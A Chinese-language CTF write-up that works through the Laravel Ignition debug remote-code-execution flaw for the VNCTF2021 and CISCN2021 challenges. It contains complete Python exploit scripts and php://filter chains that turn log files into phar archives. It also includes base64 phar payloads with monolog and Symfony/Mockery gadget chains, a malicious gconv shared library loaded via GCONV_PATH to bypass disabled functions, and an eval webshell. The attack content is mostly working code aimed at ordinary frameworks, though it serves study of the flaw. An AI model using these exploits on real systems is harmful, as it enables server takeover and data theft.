热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

VNCTF2021EZ_laravel&&CISCN2021filterWP

 写在前面这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生

 

写在前面

这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生在不同框架时,可以通过分析日志来变通。

 

环境准备

环境是在 win下面的。

composer create-project laravel/laravel="8.0.*" laravel8.0 --prefer-dist
cd laravel8.0
composer require facade/ignition==2.5.1
php artisan serve

 

漏洞分析

由于我们是直接创建了一个项目所以,没有出现Ignition(Laravel 6+默认错误页面生成器),这个错误页面生成器会提供一个solutions。在 这个控制器中有入口。

src/Http/Controllers/ExecuteSolutionController.php

solution 可控 那就可以调用任意 solutionrun方法。且参数可控。

利用点在src/Solutions/MakeViewVariableOptionalSolution.php

viewFile 可控,可以或许可以任意写, $output 是否可控呢?打个断点,看是否污染吧。构造如下数据

如果我们传入了variableName$output 是不会改变的。

那么代码简化

$output=file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);

写入的文件 和 文件内容是没办法齐美的。写入木马自然不可以。

 

漏洞利用

原作者的思路,是尝试往日志文件中写入 phar 文件,然后在 file_get_contents 处触发 反序列化。

我们可以利用 php://filter/write=过滤器 来获取日志文件的内容,然后在写入过滤后的内容来,写入完整的 phar文件。


首先清除日志。

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

参考链接已经解释很详细了,就不造次了。


写入 payload

=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

可以先观察日志文件,日志只记录了报错信息。

[2021-05-19 07:54:58] local.ERROR: file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory at D:\\ctf\\phpstudy\\phpstudy_pro\\WWW\\sources\\laravel\\laravel8.0\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
……

可以发现 我们的payload (xxxxx) 出现了两次。

重点讲一下 写入phar 文件时清空干扰词遇见的的问题。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

quoted-printable-decode会把我们的payload解码,

然后在再 utf-16le->utf-8

utf-16le 是两个字节编码的,

可以看一下,其实 相当于 就是 将 1234 => 1\02\03\04\0

我们写入的payload也是这种形式的,我们希望在 utf-16le -> utf-8 的时候我们的payload可以得到正确的解码

那么就需要 payload 前面的字符数量是 偶数个。

喔?奇数个?我们是有两个payload在日志文件中的,这两个payload中间也是奇数个的。

而日志文件是奇数个的。
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话我们可以尝试复写一个前缀进去,
















xxxxAAxxxxAAxxxx
奇数偶数奇数偶数奇数
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话,我们处于前面位置的payload 就会在转码后 完整保留下来。当我把payload 换成phar 的链子的时候,出现了错误,我看有的师傅会在 payload 后面再加一个 A,问题是解决了。可能日志的问题吧。但加前缀在一定程度上一定没问题的。

如果在写入phar文件的时候出现了问题,不妨再在payload后加一个 A 后缀吧。

贴个自己写的exp吧。

import requests
import json
url = "http://127.0.0.1:8000/_ignition/execute-solution"
#清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
#payload
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpgAQAAAgAAABEAAAABAAAAAAAJAQAATzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e3M6NDoidGVzdCI7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czoxMDoiACoAaGFuZGxlciI7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN07IzUmEt8iAPk56fX9y7EGC+LREcCAAAAR0JNQg=='
file2=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()+'A'
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
file4='phar://../storage/logs/laravel.log'
def getpayload(file):
payload = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": file
}
})
return payload
headers = {
'Content-Type': 'application/json'
}
def write():
res=requests.request("POST", url, headers=headers, data=getpayload(file1))
if 'ErrorException' in res.text:
requests.request("POST", url, headers=headers, data=getpayload(file1))
requests.request("POST", url, headers=headers, data=getpayload('AA'))
requests.request("POST", url, headers=headers, data=getpayload(file2))
res=requests.request("POST", url, headers=headers, data=getpayload(file3))
if 'ErrorException' in res.text:
print('写入失败,重来喽')
write()

当然这个漏洞还可以利用 file_put_contents 通过 ftp 被动模式 打ssrf

 

题目



[VNCTF 2021]Easy_laravel

给了源码,phar文件写入日志的漏洞还在,但是要重新找一个链子。

__destruct

Importconfigurator 类中

__call()

HigherOrderMessage类中

这里可以实例化任意类,并调用其任意方法。

找存在危险函数的方法。

Mockclass

这里可以执行任意代码。

namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = 'jiang';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."");
$phar -> setMetadata($i);
$phar -> stopBuffering();
echo base64_encode(file_get_contents('phar.phar'));
}
?>

将payload 带进上面的 exp,打不通?这就是 在后面加’A’的问题了,去掉就可以了。

ban了 iconviconv_strlen。 有猫腻哈哈。留了 putenv,但还ban了 mail 应该就是利用 php://filter 中的 iconv转换器来加载恶意so 了,还开了 open_basedir

漏洞原型如下

https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80

先写一个可持续利用log 吧,不然每次都要重新打,很烦。

jiang.phar 内容是一个 eval($_GET[cmd])的木马

globini_set都没绕过 这open_basedir,很奇怪。

guoke师傅的wp里说 有 /readflag

在传入 .so 文件和 module文件的时候,不能从远程vps 上下载,只能分段传输了,切记 分段传输的时候 文件的完整性,如果最后没打通,来检查检查 .so文件是否完整。

#include
#include
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPIC

gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

在exp 中加入这个函数,跑就好了,上面的 write函数可以不用执行了,记得修改phar://

def read():
parm="?cmd=print_r(scandir('/tmp'));putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/jiang','jiang');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
while 'flag' not in res.text:
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print('continue')
parm="?cmd=echo file_get_contents('/tmp/flag');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print(res.text.split('')[1])
read()

这里比较玄学,因为在转换器触发.so 文件的时候,并不一定会成功,第一次做的时候 十几次,写wp再做的时候 跑了上百次,多发几次。( fuck 我加的


CISCN filter

题目就给了个 composer.json文件 和 控制器,hint是 log的配置

log可以写进本地配置自己打的,在config/web.config

同样是把报错内容写进 日志里。

不一样的是,日志的 payload(xxxxxxx) 只出现了一次,

我们 编码后的payload 一定是偶数,

前偶后偶,不用加前缀了,直接打payload就可以了诶。

本地环境可能有些问题,牛头不对马嘴了

这两个日志不同的 是 ??? 没了。

长度还变成了 奇数个。

不过不影响,因为我们 payload前面是不变的偶数,影响的只有后面,只有保证后面是偶数个,在 utf-16le->utf-8 的时候不报错就OK。

加一个 A 就行。

这道题的坑在

这里,

yii这个版本没可用的链子。

需要用 monolog组件的链子打

exp如下

import requests
import os
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq+AgAAAgAAABEAAAABAAAAAABnAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6Njoic29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NDoiY2FsYyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19BQAAAGR1bW15BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3SLzw7MRTDv+IZ+8iRcMtNeQdjWsQIAAABHQk1C'
payload=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
url = "http://localhost:8080/?file="
proxies = {
"http": None,
"https": None,
}
# 清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
#payload
file2=payload
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
file4='phar://../runtime/logs/app.log'
def write():
res = requests.get(url=url+file1,proxies=proxies)
while 'Congratulations!' not in res.text:
res = requests.get(url=url+file1,proxies=proxies)
#题目环境可能 payload前面偶数后奇数,所以后面再加以个 A (payload永远偶数)
#requests.get(url=url+'AA',proxies=proxies) #题目环境的日志可能不一样,如果加上A 出错,不加A 出不来,就把这个注释去掉
requests.get(url=url+file2+'A',proxies=proxies) # 本地如果加了A 出错,就把A去掉,
res = requests.get(url=url+file3,proxies=proxies)
if 'Congratulations!' not in res.text:
print('重来!!')
else:
print('写入成功')
read()
def read():
res=requests.get(url=url+file4,proxies=proxies)
print(res.text)
write()

动画

这是弹计算器的,buu上复现的话,记得换payload

每个人的目录结构不同,日志也会不一样,原理大抵如此,如果有遇到什么问题还请告知,还有爱春秋春季赛TP5.1.41的类似问题,也方便解答。

参考

https://www.ambionics.io/blog/laravel-debug-rce

https://xz.aliyun.com/t/9030


推荐阅读
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • MVC设计模式的介绍和演化过程
    本文介绍了MVC设计模式的基本概念和原理,以及在实际项目中的演化过程。通过分离视图、模型和控制器,实现了代码的解耦和重用,提高了项目的可维护性和可扩展性。详细讲解了分离视图、分离模型和分离控制器的具体步骤和规则,以及它们在项目中的应用。同时,还介绍了基础模型的封装和控制器的命名规则。该文章适合对MVC设计模式感兴趣的读者阅读和学习。 ... [详细]
  • Todayatworksomeonetriedtoconvincemethat:今天在工作中有人试图说服我:{$obj->getTableInfo()}isfine ... [详细]
  • SpringBoot简单日志配置
     在生产环境中,只打印error级别的错误,在测试环境中,可以调成debugapplication.properties文件##默认使用logbacklogging.level.r ... [详细]
  • 本文讨论了在ASP中创建RazorFunctions.cshtml文件时出现的问题,即ASP.global_asax不存在于命名空间ASP中。文章提供了解决该问题的代码示例,并详细解释了代码中涉及的关键概念,如HttpContext、Request和RouteData等。通过阅读本文,读者可以了解如何解决该问题并理解相关的ASP概念。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • Asp.net Mvc Framework 七 (Filter及其执行顺序) 的应用示例
    本文介绍了在Asp.net Mvc中应用Filter功能进行登录判断、用户权限控制、输出缓存、防盗链、防蜘蛛、本地化设置等操作的示例,并解释了Filter的执行顺序。通过示例代码,详细说明了如何使用Filter来实现这些功能。 ... [详细]
  • 本文介绍了ASP.NET Core MVC的入门及基础使用教程,根据微软的文档学习,建议阅读英文文档以便更好理解,微软的工具化使用方便且开发速度快。通过vs2017新建项目,可以创建一个基础的ASP.NET网站,也可以实现动态网站开发。ASP.NET MVC框架及其工具简化了开发过程,包括建立业务的数据模型和控制器等步骤。 ... [详细]
  • SpringMVC工作流程概述
    SpringMVC工作流程概述 ... [详细]
author-avatar
再见要死不活的_454
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有